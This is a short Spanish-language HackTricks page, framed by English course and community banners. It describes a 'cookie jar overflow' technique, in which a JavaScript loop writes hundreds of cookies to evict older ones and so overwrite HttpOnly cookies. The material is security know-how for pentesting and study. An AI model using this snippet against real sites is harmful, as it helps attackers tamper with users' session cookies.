tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Los navegadores tienen un límite en el número de cookies que pueden almacenar para una página. Entonces, si por alguna razón necesitas hacer que una cookie desaparezca, puedes desbordar el tarro de cookies ya que las más antiguas serán eliminadas primero:
// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`
}
// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
}
Nota que las cookies de terceros que apuntan a un dominio diferente no serán sobrescritas.
caution
Este ataque también se puede utilizar para sobrescribir cookies HttpOnly ya que puedes eliminarlas y luego restablecerlas con el valor que desees.
Verifica esto en esta publicación con un laboratorio.
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.